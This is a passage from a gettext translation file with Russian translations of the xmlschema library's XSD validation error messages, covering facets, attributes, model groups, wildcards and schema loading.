xmlschema/validators/attributes.py:241 +msgid "missing enumeration facet in xs:NOTATION subtype" +msgstr "отсутствует перечисление в подтипе xs:NOTATION" + +#: xmlschema/validators/elements.py:1245 +msgid "test attribute missing in non-final alternative" +msgstr "тестовый атрибут отсутствует в не окончательной альтернативе" + +#: xmlschema/validators/elements.py:1370 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" +msgstr "Возможно, таблица неэквивалентного типа между элементами {0!r} и {1!r}" + +#: xmlschema/validators/elements.py:1446 +msgid "missing 'type' attribute" +msgstr "отсутствует атрибут 'type'" + +#: xmlschema/validators/elements.py:1454 +msgid "declared type is not derived from {!r}" +msgstr "объявленный тип не является производным от {!r}" + +#: xmlschema/validators/elements.py:1464 +msgid "type {0!r} is not derived from {1!r}" +msgstr "тип {0!r} не является производным от {1!r}" + +#: xmlschema/validators/elements.py:1469 +#, python-format +msgid "" +"the attribute 'type' and the xs:%s local declaration are mutually exclusive" +msgstr "атрибут 'type' и xs:%s являются взаимоисключающими" + +#: xmlschema/validators/global_maps.py:77 +msgid "global {0} with name={1!r} is already defined" +msgstr "глобальный {0} с name={1!r} уже определен" + +#: xmlschema/validators/global_maps.py:90 +msgid "multiple redefinition for {0} {1!r}" +msgstr "множественное переопределение для {0} {1!r}" + +#: xmlschema/validators/global_maps.py:102 +msgid "circular redefinition for {0} {1!r}" +msgstr "циклическое переопределение для {0} {1!r}" + +#: xmlschema/validators/global_maps.py:117 +msgid "not a redefinition!" +msgstr "не переопределение!" + +#: xmlschema/validators/global_maps.py:234 +msgid "wrong tag {!r} for an XSD global definition/declaration" +msgstr "неверный тег {!r} для глобального определения XSD" + +#: xmlschema/validators/global_maps.py:313 +#: xmlschema/validators/global_maps.py:330 +msgid "wrong element {0!r} for map {1!r}" +msgstr "неверный элемент {0!r} для карты {1!r}" + +#: xmlschema/validators/global_maps.py:339 +msgid "redefined schema {!r} has a different targetNamespace" +msgstr "переопределенная схема {!r} имеет другое целевое пространство имен" + +#: xmlschema/validators/global_maps.py:350 +msgid "unexpected instance {!r} in global map" +msgstr "неожиданный экземпляр {!r} в глобальной карте" + +#: xmlschema/validators/global_maps.py:382 +msgid "{0!r} cannot substitute {1!r}" +msgstr "{0!r} не может заменить {1!r}" + +#: xmlschema/validators/global_maps.py:578 +msgid "missing XSD namespace in meta-schema instance {!r}" +msgstr "отсутствует пространство имен XSD в экземпляре метасхемы {!r}" + +#: xmlschema/validators/global_maps.py:587 +msgid "missing default meta-schema instance {!r}" +msgstr "отсутствует экземпляр метасхемы по умолчанию {!r}" + +#: xmlschema/validators/global_maps.py:639 +msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" +msgstr "defaultAttributes={0!r} не соответствуют атрибутам группы {1!r}" + +#: xmlschema/validators/global_maps.py:682 +msgid "global element not built!" +msgstr "глобальный элемент не создается!" + +#: xmlschema/validators/global_maps.py:684 +msgid "circularity found for substitution group with head element {}" +msgstr "обнаружена цикличность для группы замещения с головным элементом {}" + +#: xmlschema/validators/global_maps.py:689 +#, python-format +msgid "global map has unbuilt components: %r" +msgstr "глобальная карта имеет несобранные компоненты: %r" + +#: xmlschema/validators/global_maps.py:694 +msgid "global group not built!" +msgstr "глобальная группа не создается!" + +#: xmlschema/validators/global_maps.py:701 +msgid "the redefined group is an illegal restriction" +msgstr "переопределенная группа является недопустимым ограничением" + +#: xmlschema/validators/global_maps.py:717 +msgid "the derived group is an illegal restriction" +msgstr "производная группа является недопустимым ограничением" + +#: xmlschema/validators/global_maps.py:727 +msgid "restriction has an open content but base type has not" +msgstr "ограничение имеет открытый контент, но базовый тип не имеет" + +#: xmlschema/validators/global_maps.py:733 +msgid "" +"can't verify the content model of {!r} due to exceeding of maximum recursion " +"depth" +msgstr "" +"не удается проверить модель содержимого {!r} из-за превышения максимальной " +"глубины рекурсии" + +#: xmlschema/validators/facets.py:63 +msgid "invalid type {!r} provided" +msgstr "неверный тип {!r}" + +#: xmlschema/validators/facets.py:84 +msgid "{0!r} facet value is fixed to {1!r}" +msgstr "{0!r} значение набора фиксировано {1!r}" + +#: xmlschema/validators/facets.py:135 xmlschema/validators/facets.py:138 +msgid "facet value can be only 'collapse'" +msgstr "значение набора может быть только 'collapse'" + +#: xmlschema/validators/facets.py:140 +msgid "facet value can be only 'replace' or 'collapse'" +msgstr "значение набора может быть только 'replace' или 'collapse'" + +#: xmlschema/validators/facets.py:145 +msgid "value contains tabs or newlines" +msgstr "значение содержит табуляцию или переносы строк" + +#: xmlschema/validators/facets.py:151 +msgid "value contains non collapsed white spaces" +msgstr "значение содержит лишние пробелы" + +#: xmlschema/validators/facets.py:175 +msgid "base facet has a different length ({})" +msgstr "базовый набор имеет отличающуюся длину ({})" + +#: xmlschema/validators/facets.py:185 +msgid "length has to be {!r}" +msgstr "длина должна быть {!r}" + +#: xmlschema/validators/facets.py:209 +msgid "base facet has a greater min length ({})" +msgstr "базовый набор имеет большую минимальную длину ({})" + +#: xmlschema/validators/facets.py:219 +msgid "value length cannot be lesser than {!r}" +msgstr "длина значения не может быть меньше чем {!r}" + +#: xmlschema/validators/facets.py:243 +msgid "base type has a lesser max length ({})" +msgstr "базовый тип имеет меньшую максимальную длину ({})" + +#: xmlschema/validators/facets.py:253 +msgid "value length cannot be greater than {!r}" +msgstr "длина значения не может быть больше чем {!r}" + +#: xmlschema/validators/facets.py:276 xmlschema/validators/facets.py:307 +#: xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 +msgid "invalid restriction: {}" +msgstr "неверное ограничение: {}" + +#: xmlschema/validators/facets.py:281 +msgid "value has to be greater or equal than {!r}" +msgstr "значение должно быть больше или равно {!r}" + +#: xmlschema/validators/facets.py:311 +msgid "invalid restriction: {} is also the maximum" +msgstr "недопустимое ограничение: {} также является максимальным" + +#: xmlschema/validators/facets.py:317 +msgid "value has to be greater than {!r}" +msgstr "значение должно быть больше {!r}" + +#: xmlschema/validators/facets.py:347 +msgid "value has to be less than or equal than {!r}" +msgstr "значение должно быть меньше или равно {!r}" + +#: xmlschema/validators/facets.py:377 +msgid "invalid restriction: {} is also the minimum" +msgstr "недопустимое ограничение: {} также является минимальным" + +#: xmlschema/validators/facets.py:383 +msgid "value has to be lesser than {!r}" +msgstr "значение должно быть меньше {!r}" + +#: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 +msgid "invalid restriction: base value is lower ({})" +msgstr "недопустимое ограничение: базовое значение меньше ({})" + +#: xmlschema/validators/facets.py:428 +msgid "the number of digits has to be lesser or equal than {!r}" +msgstr "количество цифр должно быть меньше или равно {!r}" + +#: xmlschema/validators/facets.py:456 +msgid "" +"fractionDigits facet can be applied only to types derived from xs:decimal" +msgstr "" +"набор fractionDigits можно применять только к типам, производным от xs:" +"decimal" + +#: xmlschema/validators/facets.py:470 +msgid "fractionDigits facet value must be 0 for types derived from xs:integer" +msgstr "" +"значение набора fractionDigits должно быть 0 для типов, производных от xs:" +"integer" + +#: xmlschema/validators/facets.py:485 +msgid "the number of fraction digits has to be lesser or equal than {!r}" +msgstr "количество цифр после запятой должно быть меньше или равно {!r}" + +#: xmlschema/validators/facets.py:517 +msgid "invalid restriction from {!r}" +msgstr "недопустимое ограничение от {!r}" + +#: xmlschema/validators/facets.py:522 +msgid "time zone required for value {!r}" +msgstr "таймзона обязательна для {!r}" + +#: xmlschema/validators/facets.py:527 +msgid "time zone prohibited for value {!r}" +msgstr "таймзона запрещена для {!r}" + +#: xmlschema/validators/facets.py:571 +msgid "value {!r} must match a notation declaration" +msgstr "значение {!r} должно соответствовать объявлению нотации" + +#: xmlschema/validators/facets.py:629 +msgid "value must be one of {!r}" +msgstr "значение должно быть одним из {!r}" + +#: xmlschema/validators/facets.py:725 +msgid "value doesn't match any pattern of {!r}" +msgstr "значение не соответствует ни одному шаблону {!r}" + +#: xmlschema/validators/facets.py:789 +msgid "missing attribute 'test'" +msgstr "отсутствует атрибут 'test'" + +#: xmlschema/validators/facets.py:819 +msgid "value is not true with test path {!r}" +msgstr "значение неверно с тестовым путем {!r}" + +#: xmlschema/validators/attributes.py:82 +msgid "unknown attribute {!r}" +msgstr "неизвестный атрибут {!r}" + +#: xmlschema/validators/attributes.py:97 +msgid "referenced attribute has a different fixed value {!r}" +msgstr "ссылочный атрибут имеет другое фиксированное значение {!r}" + +#: xmlschema/validators/attributes.py:102 +msgid "attribute {!r} is not allowed when attribute reference is used" +msgstr "атрибут {!r} не разрешен, когда используется ссылка на атрибут" + +#: xmlschema/validators/attributes.py:118 +msgid "an attribute name must be different from 'xmlns'" +msgstr "имя атрибута должно отличаться от 'xmlns'" + +#: xmlschema/validators/attributes.py:125 +#, python-format +msgid "cannot add attributes in %r namespace" +msgstr "невозможно добавить атрибуты в пространство имен %r" + +#: xmlschema/validators/attributes.py:146 +msgid "ambiguous type definition for XSD attribute" +msgstr "неоднозначное определение типа для атрибута XSD" + +#: xmlschema/validators/attributes.py:158 +msgid "XSD attribute's type must be a simpleType" +msgstr "Тип атрибута XSD должен быть simpleType" + +#: xmlschema/validators/attributes.py:169 +msgid "" +"the attribute 'use' must be 'optional' if the attribute 'default' is present" +msgstr "" +"атрибут 'use' должен быть 'optional' , если присутствует атрибут 'default'" + +#: xmlschema/validators/attributes.py:174 +msgid "default value {!r} is not compatible with attribute's type" +msgstr "значение по умолчанию {!r} несовместимо с типом атрибута" + +#: xmlschema/validators/attributes.py:177 +msgid "xs:ID key attributes cannot have a default value" +msgstr "атрибуты ключа xs:ID не могут иметь значения по умолчанию" + +#: xmlschema/validators/attributes.py:183 +msgid "fixed value {!r} is not compatible with attribute's type" +msgstr "фиксированное значение {!r} несовместимо с типом атрибута" + +#: xmlschema/validators/attributes.py:186 +msgid "xs:ID key attributes cannot have a fixed value" +msgstr "атрибуты ключа xs:ID не могут иметь фиксированное значение" + +#: xmlschema/validators/attributes.py:249 +msgid "attribute {0!r} has a fixed value {1!r}" +msgstr "атрибут {0!r} имеет фиксированное значение {1!r}" + +#: xmlschema/validators/attributes.py:254 +msgid "attribute {0}={1!r}: {2}" +msgstr "атрибут {0}={1!r}: {2}" + +#: xmlschema/validators/attributes.py:319 +msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" +msgstr "атрибут 'fixed' с use=prohibited не допускается в XSD 1.1" + +#: xmlschema/validators/attributes.py:413 +msgid "more anyAttribute declarations in the same attribute group" +msgstr "больше объявлений anyAttribute в той же группе атрибутов" + +#: xmlschema/validators/attributes.py:416 +msgid "another declaration after anyAttribute" +msgstr "другое объявление после anyAttribute" + +#: xmlschema/validators/attributes.py:431 +msgid "multiple declaration for attribute {!r}" +msgstr "множественное объявление для атрибута {!r}" + +#: xmlschema/validators/attributes.py:440 +msgid "the attribute 'ref' is required in a local attributeGroup" +msgstr "атрибут 'ref' требуется в локальной attributeGroup" + +#: xmlschema/validators/attributes.py:450 +msgid "duplicated attributeGroup {!r}" +msgstr "дублированная attributeGroup {!r}" + +#: xmlschema/validators/attributes.py:456 +msgid "in a redefinition the reference to itself must be the first" +msgstr "в переопределении ссылка на себя должна быть первой" + +#: xmlschema/validators/attributes.py:467 +msgid "attributeGroup ref={!r} is not in the redefined group" +msgstr "attributeGroup ref={!r} не входит в переопределенную группу" + +#: xmlschema/validators/attributes.py:471 +msgid "Circular attribute groups not allowed in XSD 1.0" +msgstr "Циклические группы атрибутов не разрешены в XSD 1.0" + +#: xmlschema/validators/attributes.py:479 +msgid "unknown attribute group {!r}" +msgstr "неизвестная группа атрибутов {!r}" + +#: xmlschema/validators/attributes.py:488 +msgid "multiple declaration of attribute {!r}" +msgstr "множественное объявление атрибута {!r}" + +#: xmlschema/validators/attributes.py:497 +msgid "Circular reference found between attribute groups {0!r} and {1!r}" +msgstr "Обнаружена циклическая ссылка между группами атрибутов {0!r} и {1!r}" + +#: xmlschema/validators/attributes.py:502 +msgid "(attribute | attributeGroup) expected, found {!r}." +msgstr "(атрибут | группа атрибутов) ожидается, найдено {!r}." + +#: xmlschema/validators/attributes.py:513 +msgid "Unexpected attribute {!r} in restriction" +msgstr "Неожиданный атрибут {!r} в ограничении" + +#: xmlschema/validators/attributes.py:529 +msgid "Attribute wildcard is not a restriction of the base wildcard" +msgstr "" +"Подстановочный знак атрибута не является ограничением базового " +"подстановочного знака" + +#: xmlschema/validators/attributes.py:539 +msgid "Attribute type is not a restriction of the base attribute type" +msgstr "Тип атрибута не является ограничением базового типа атрибута" + +#: xmlschema/validators/attributes.py:544 +msgid "Attribute {!r}: unmatched attribute use in restriction" +msgstr "Атрибут {!r}: несовпадение атрибута в ограничении" + +#: xmlschema/validators/attributes.py:550 +msgid "Attribute {!r}: derived attribute has a different fixed value" +msgstr "Атрибут {!r}: производный атрибут имеет другое фиксированное значение" + +#: xmlschema/validators/attributes.py:554 +msgid "Attribute {!r}: 'inheritable' property change in restriction" +msgstr "Атрибут {!r}: 'inheritable' свойство изменено в ограничении" + +#: xmlschema/validators/attributes.py:568 +msgid "Missing required attribute {!r} in redefinition restriction" +msgstr "Отсутствует обязательный атрибут {!r} в ограничении переопределения" + +#: xmlschema/validators/attributes.py:573 +msgid "Attribute {!r}: unmatched attribute use in redefinition" +msgstr "" +"Атрибут {!r}: несоответствующее использование атрибута в переопределении" + +#: xmlschema/validators/attributes.py:576 +msgid "Attribute {!r}: redefinition remove fixed constraint" +msgstr "Атрибут {!r}: переопределение удаляет фиксированное ограничение" + +#: xmlschema/validators/attributes.py:585 +msgid "Redefinition restriction contains additional attribute {!r}" +msgstr "Ограничение переопределения содержит дополнительный атрибут {!r}" + +#: xmlschema/validators/attributes.py:589 +msgid "Wrong attribute order in redefinition restriction" +msgstr "Неправильный порядок атрибутов в ограничении переопределения" + +#: xmlschema/validators/attributes.py:607 +msgid "multiple ID attributes not allowed for XSD 1.0" +msgstr "несколько атрибутов ID не разрешены в XSD 1.0" + +#: xmlschema/validators/attributes.py:660 +#: xmlschema/validators/attributes.py:738 +msgid "missing required attribute {!r}" +msgstr "отсутствует обязательный атрибут {!r}" + +#: xmlschema/validators/attributes.py:695 +#: xmlschema/validators/attributes.py:760 +#, python-format +msgid "%r is not an attribute of the XSI namespace" +msgstr "%r не является атрибутом пространства имен XSI" + +#: xmlschema/validators/attributes.py:703 +#: xmlschema/validators/attributes.py:768 +#, python-format +msgid "%r attribute not allowed for element" +msgstr "атрибут %r не разрешен для элемента" + +#: xmlschema/validators/attributes.py:709 +#, python-format +msgid "use of attribute %r is prohibited" +msgstr "использование атрибута %r запрещено" + +#: xmlschema/validators/exceptions.py:345 +#, python-format +msgid "Unexpected child with tag %r at position %d." +msgstr "Неожиданный дочерний тег %r в позиции %d." + +#: xmlschema/validators/exceptions.py:372 +#, python-format +msgid " Tag (%s) expected." +msgstr " Ожидается тег (%s)" + +#: xmlschema/validators/exceptions.py:374 +#, python-format +msgid " Tag %s expected." +msgstr " Ожидается тег %s." + +#: xmlschema/validators/exceptions.py:376 +#, python-format +msgid " Tag %r expected." +msgstr " Ожидается тег (%r)" + +#: xmlschema/validators/groups.py:355 +msgid "{!r} is not a particle of the model group" +msgstr "{!r} не является частицей группы моделей" + +#: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 +msgid "attribute 'name' not allowed in a local group" +msgstr "атрибут 'name' не разрешен в локальной группе" + +#: xmlschema/validators/groups.py:422 +#, python-format +msgid "missing group %r" +msgstr "отсутствует группа %r" + +#: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 +msgid "maxOccurs must be 1 for 'all' model groups" +msgstr "maxOccurs должен быть равен 1 для групп моделей 'all'" + +#: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 +#: xmlschema/validators/groups.py:1285 +msgid "minOccurs must be (0 | 1) for 'all' model groups" +msgstr "minOccurs должен быть (0 | 1) для групп моделей 'all'" + +#: xmlschema/validators/groups.py:435 +msgid "in XSD 1.0 an 'all' model group cannot be nested" +msgstr "XSD 1.0 не позволяет расширения не пустой 'all' группы" + +#: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 +#: xmlschema/validators/groups.py:1317 +#, python-format +msgid "Circular definition detected for group %r" +msgstr "Обнаружено круговое определение для группы %r" + +#: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 +msgid "attribute 'minOccurs' not allowed in a global group" +msgstr "атрибут 'minOccurs' не разрешен в глобальной группе" + +#: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 +msgid "attribute 'maxOccurs' not allowed in a global group" +msgstr "атрибут 'maxOccurs' не разрешен в глобальной группе" + +#: xmlschema/validators/groups.py:499 +msgid "'all' model can contain only elements" +msgstr "модель 'all' может содержать только элементы" + +#: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 +msgid "missing attribute 'ref' in local group" +msgstr "отсутствует атрибут 'ref' в локальной группе" + +#: xmlschema/validators/groups.py:518 +msgid "'all' model can appears only at 1st level of a model group" +msgstr "Модель 'all' может отображаться только на 1-м уровне группы моделей" + +#: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 +msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" +msgstr "" +"Переопределенная ссылка на группу не может иметь значение minOccurs/" +"maxOccurs, отличное от 1" + +#: xmlschema/validators/groups.py:821 +msgid "" +"Element Declarations Consistent violation between {0!r} and {1!r}: match the " +"same name but with different types" +msgstr "" +"Element Declarations Consistent нарушение между {0!r} и {1!r}: соответствие " +"одному и тому же имени, но с разными типами" + +#: xmlschema/validators/groups.py:835 +msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" +msgstr "{0!r} и {1!r} перекрываются и находятся в одной группе {2!r}" + +#: xmlschema/validators/groups.py:847 +msgid "Unique Particle Attribution violation between {0!r} and {1!r}" +msgstr "Unique Particle Attribution нарушение между {0!r} и {1!r}" + +#: xmlschema/validators/groups.py:860 +#, python-format +msgid "substitution of %r is blocked" +msgstr "замена %r заблокирована" + +#: xmlschema/validators/groups.py:909 +msgid "usage of {0!r} with type {1} is blocked by head element" +msgstr "использование {0!r} с типом {1} заблокировано элементом заголовка" + +#: xmlschema/validators/groups.py:934 +msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" +msgstr "" +"{0!r}, соответствующее {1!r}, не соответствует локальному объявлению {2!r}" + +#: xmlschema/validators/groups.py:940 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." +msgstr "" +"Возможно, таблица неэквивалентного типа между элементами {0!r} и {1!r}." + +#: xmlschema/validators/groups.py:970 +msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" +msgstr "пустая группа 'choice' с minOccurs > 0 не может проверить содержимое" + +#: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 +msgid "character data between child elements not allowed" +msgstr "символьные данные между дочерними элементами не допускаются" + +#: xmlschema/validators/groups.py:995 +#, python-format +msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" +msgstr "Превышена глубина данных XML (MAX_XML_DEPTH=%r)" + +#: xmlschema/validators/groups.py:1202 +msgid "{!r} does not match any declared element of the model group" +msgstr "{!r} не соответствует ни одному объявленному элементу группы моделей" + +#: xmlschema/validators/groups.py:1205 +msgid "{0} has an unknown prefix {1!r}" +msgstr "{0} имеет неизвестный префикс {1!r}" + +#: xmlschema/validators/groups.py:1238 +msgid "wrong content type {!r}" +msgstr "неправильный тип контента {!r}" + +#: xmlschema/validators/groups.py:1282 +msgid "maxOccurs must be (0 | 1) for 'all' model groups" +msgstr "maxOccurs должен быть равен (0 | 1) для групп моделей 'all'" + +#: xmlschema/validators/groups.py:1311 +#, python-brace-format +msgid "an xs:{0} group cannot include a reference to an xs:{1} group" +msgstr "группа xs:{0} не может включать ссылку на группу xs:{1}" + +#: xmlschema/validators/wildcards.py:76 +#, python-format +msgid "wrong value %r in 'namespace' attribute" +msgstr "неверное значение %r в атрибуте 'namespace'" + +#: xmlschema/validators/wildcards.py:85 +#, python-format +msgid "wrong value %r for 'processContents' attribute" +msgstr "неправильное значение %r для атрибута 'processContents'" + +#: xmlschema/validators/wildcards.py:94 +msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" +msgstr "атрибуты 'namespace' и 'notNamespace' являются взаимоисключающими" + +#: xmlschema/validators/wildcards.py:105 +#, python-format +msgid "wrong value %r in 'notNamespace' attribute" +msgstr "неправильное значение %r в атрибуте 'notNamespace'" + +#: xmlschema/validators/wildcards.py:121 +msgid "wrong value for 'notQName' attribute" +msgstr "неправильное значение атрибута 'notQName'" + +#: xmlschema/validators/wildcards.py:128 +#, python-format +msgid "unmapped QName in 'notQName' attribute: %s" +msgstr "несопоставленное QName в атрибуте 'notQName': %s" + +#: xmlschema/validators/wildcards.py:132 +#, python-format +msgid "wrong QName format in 'notQName' attribute: %s" +msgstr "неверный формат QName в атрибуте 'notQName': %s" + +#: xmlschema/validators/wildcards.py:140 +msgid "the namespace of each QName in notQName is allowed by notNamespace" +msgstr "пространство имен каждого QName в notQName разрешено notNamespace" + +#: xmlschema/validators/wildcards.py:144 +msgid "names in notQName must be in namespaces that are allowed" +msgstr "имена в notQName должны находиться в разрешенных пространствах имен" + +#: xmlschema/validators/wildcards.py:319 +msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" +msgstr "" +"невыразимое объединение пространств имен с подстановочными знаками: {0!r} V " +"{1!r}:" + +#: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 +msgid "element {!r} is not allowed here" +msgstr "элемент {!r} здесь запрещен" + +#: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 +#, python-format +msgid "attribute %r not allowed" +msgstr "атрибут %r не разрешен" + +#: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 +#, python-format +msgid "attribute %r not found" +msgstr "атрибут %r не найден" + +#: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 +msgid "unavailable namespace {!r}" +msgstr "недоступное пространство имен {!r}" + +#: xmlschema/validators/wildcards.py:857 +#, python-format +msgid "wrong value %r for 'mode' attribute" +msgstr "неправильное значение %r для атрибута \"режим\"" + +#: xmlschema/validators/wildcards.py:863 +msgid "" +"an openContent with mode='none' cannot have an <xs:any> child declaration" +msgstr "openContent с mode='none' не может иметь дочернее объявление <xs:any>" + +#: xmlschema/validators/wildcards.py:867 +msgid "an <xs:any> child declaration is required" +msgstr "требуется дочернее объявление <xs:any>" + +#: xmlschema/validators/wildcards.py:908 +msgid "defaultOpenContent must be a child of the schema" +msgstr "defaultOpenContent должен быть дочерним элементом схемы" + +#: xmlschema/validators/wildcards.py:911 +msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" +msgstr "атрибут 'mode' defaultOpenContent не может быть 'none'" + +#: xmlschema/validators/wildcards.py:914 +msgid "a defaultOpenContent declaration cannot be empty" +msgstr "объявление defaultOpenContent не может быть пустым" + +#: xmlschema/validators/schemas.py:156 +msgid "XSD_VERSION must be '1.0' or '1.1'" +msgstr "XSD_VERSION должна быть '1.0' или '1.1'" + +#: xmlschema/validators/schemas.py:336 +msgid "{!r} is not a valid loglevel" +msgstr "{!r} не является допустимым уровнем ведения журнала" + +#: xmlschema/validators/schemas.py:352 +msgid "no XSD source provided!" +msgstr "источник XSD не указан!" + +#: xmlschema/validators/schemas.py:380 +msgid "the attribute 'targetNamespace' cannot be an empty string" +msgstr "атрибут targetNamespace не может быть пустой строкой" + +#: xmlschema/validators/schemas.py:383 +msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" +msgstr "" +"неправильное пространство имен ({0!r} вместо {1!r}) для ресурса XSD {2}" + +#: xmlschema/validators/schemas.py:460 +#, python-format +msgid "'global_maps' argument must be an %r instance" +msgstr "аргумент 'global_maps' должен быть экземпляром %r" + +#: xmlschema/validators/schemas.py:542 +msgid "cannot change the global maps instance of a meta-schema" +msgstr "невозможно изменить экземпляр глобальных карт метасхемы" + +#: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 +#, python-format +msgid "meta-schema unavailable for %r" +msgstr "метасхема недоступна для %r" + +#: xmlschema/validators/schemas.py:682 +msgid "missing XSD namespace in meta-schema" +msgstr "отсутствует пространство имен XSD в метасхеме" + +#: xmlschema/validators/schemas.py:754 +msgid "Missing meta-schema source URL" +msgstr "Отсутствует URL-адрес источника мета-схемы" + +#: xmlschema/validators/schemas.py:766 +msgid "" +"The argument 'base_schemas' must be a dictionary or a sequence of couples" +msgstr "" +"Аргумент 'base_schemas' должен быть словарем или последовательностью пар" + +#: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 +msgid "(restriction | list | union) expected" +msgstr "ожидается (restriction | list | union)" + +#: xmlschema/validators/schemas.py:826 +msgid "missing attribute 'name' in a global simpleType" +msgstr "отсутствует атрибут 'name' в глобальном simpleType" + +#: xmlschema/validators/schemas.py:831 +msgid "attribute 'name' not allowed for a local simpleType" +msgstr "атрибут 'name' не разрешен в локальном simpleType" + +#: xmlschema/validators/schemas.py:875 +msgid "'model' argument must be (sequence | choice | all)" +msgstr "аргумент 'model' должен быть (sequence | choice | all)" + +#: xmlschema/validators/schemas.py:990 +#, python-format +msgid "schema %r is not built" +msgstr "схема %r не создается" + +#: xmlschema/validators/schemas.py:1095 +msgid "the namespace {!r} is not loaded" +msgstr "пространство имен {!r} не загружено" + +#: xmlschema/validators/schemas.py:1117 +msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" +msgstr "" +"аргумент 'converter' должен быть подклассом {0!r} или экземпляром: {1!r}" + +#: xmlschema/validators/schemas.py:1172 +msgid "cannot include schema {0!r}: {1}" +msgstr "не может включать схему {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1186 +#, python-format +msgid "Redefine schema failed: %s" +msgstr "Не удалось переопределить схему: %s" + +#: xmlschema/validators/schemas.py:1191 +msgid "cannot redefine schema {0!r}: {1}" +msgstr "невозможно переопределить схему {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1207 +#, python-format +msgid "Override schema failed: %s" +msgstr "Ошибка переопределения схемы: %s" + +#: xmlschema/validators/schemas.py:1269 +msgid "" +"if the 'namespace' attribute is not present on the import statement then the " +"imported schema must have a 'targetNamespace'" +msgstr "" +"если атрибут 'namespace' отсутствует в операторе импорта, то импортированная " +"схема должна иметь 'targetNamespace'" + +#: xmlschema/validators/schemas.py:1275 +msgid "" +"the attribute 'namespace' must be different from schema's 'targetNamespace'" +msgstr "атрибут 'namespace' должен отличаться от 'targetNamespace' схемы" + +#: xmlschema/validators/schemas.py:1322 +msgid "cannot import namespace {0!r}: {1}" +msgstr "невозможно импортировать пространство имен {0!r}: {1}" + +#: xmlschema/validators/schemas.py:1324 +#, python-format +msgid "cannot import chameleon schema: %s" +msgstr "невозможно импортировать схему-хамелеон: %s" + +#: xmlschema/validators/schemas.py:1388 +msgid "imported schema {0!r} has an unmatched namespace {1!r}" +msgstr "импортированная схема {0!r} имеет неопознанное пространство имен {1!r}" + +#: xmlschema/validators/schemas.py:1435 +msgid "target directory {} is not empty" +msgstr "целевой каталог {} не пуст" + +#: xmlschema/validators/schemas.py:1438 +msgid "target {} is not a directory" +msgstr "целевой {} не является каталогом" + +#: xmlschema/validators/schemas.py:1441 +msgid "target parent directory {} does not exist" +msgstr "целевой родительский каталог {} не существует" + +#: xmlschema/validators/schemas.py:1444 +msgid "target parent {} is not a directory" +msgstr "целевой родитель {} не является каталогом" + +#: xmlschema/validators/schemas.py:1537 +msgid "invalid attribute vc:minVersion value" +msgstr "недопустимое значение атрибута vc:minVersion" + +#: xmlschema/validators/schemas.py:1546 +msgid "invalid attribute vc:maxVersion value" +msgstr "недопустимое значение атрибута vc:maxVersion" + +#: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 +#: xmlschema/validators/schemas.py:1635 +msgid "{!r} is not a valid value for xs:QName" +msgstr "{!r} не является допустимым значением для xs:QName" + +#: xmlschema/validators/schemas.py:1641 +msgid "prefix {!r} not found in namespace map" +msgstr "префикс {!r} не найден в карте пространства имен" + +#: xmlschema/validators/schemas.py:1648 +msgid "" +"the QName {!r} is mapped to no namespace, but this requires that there is an " +"xs:import statement in the schema without the 'namespace' attribute." +msgstr "" +"QName {!r} не отображается ни в какое пространство имен, но для этого " +"требуется, чтобы в схеме был оператор xs:import без атрибута 'namespace'." + +#: xmlschema/validators/schemas.py:1657 +msgid "" +"the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " +"an xs:import statement in the schema." +msgstr "" +"QName {0!r} сопоставляется с пространством имен {1!r}, но это пространство " +"имен не имеет оператора xs:import в схеме." + +#: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 +#: xmlschema/validators/schemas.py:1997 +msgid "{!r} is not an element of the schema" +msgstr "{!r} не является элементом схемы" + +#: xmlschema/validators/schemas.py:1826 +#, python-format +msgid "IDREF %r not found in XML document" +msgstr "IDREF %r не найден в XML-документе" + +#: xmlschema/validators/schemas.py:2076 +msgid "encoding needs at least one XSD element declaration" +msgstr "для кодирования требуется хотя бы одно объявление элемента XSD" + +#: xmlschema/validators/schemas.py:2110 +#, python-format +msgid "the path %r doesn't match any element of the schema!" +msgstr "путь %r не соответствует ни одному элементу схемы!" + +#: xmlschema/validators/schemas.py:2112 +msgid "" +"unable to select an element for decoding data, provide a valid 'path' " +"argument." +msgstr "" +"невозможно выбрать элемент для декодирования данных, укажите допустимый " +"аргумент 'path'." + +#: xmlschema/validators/simple_types.py:133 +msgid "facets not allowed for a direct derivation of xs:anySimpleType" +msgstr "наборы не разрешены для прямого наследования от xs:anySimpleType" + +#: xmlschema/validators/simple_types.py:137 +msgid "facets not allowed for a direct content derivation of xs:anySimpleType" +msgstr "" +"наборы не разрешены для прямого наследования контента от xs:anySimpleType" + +#: 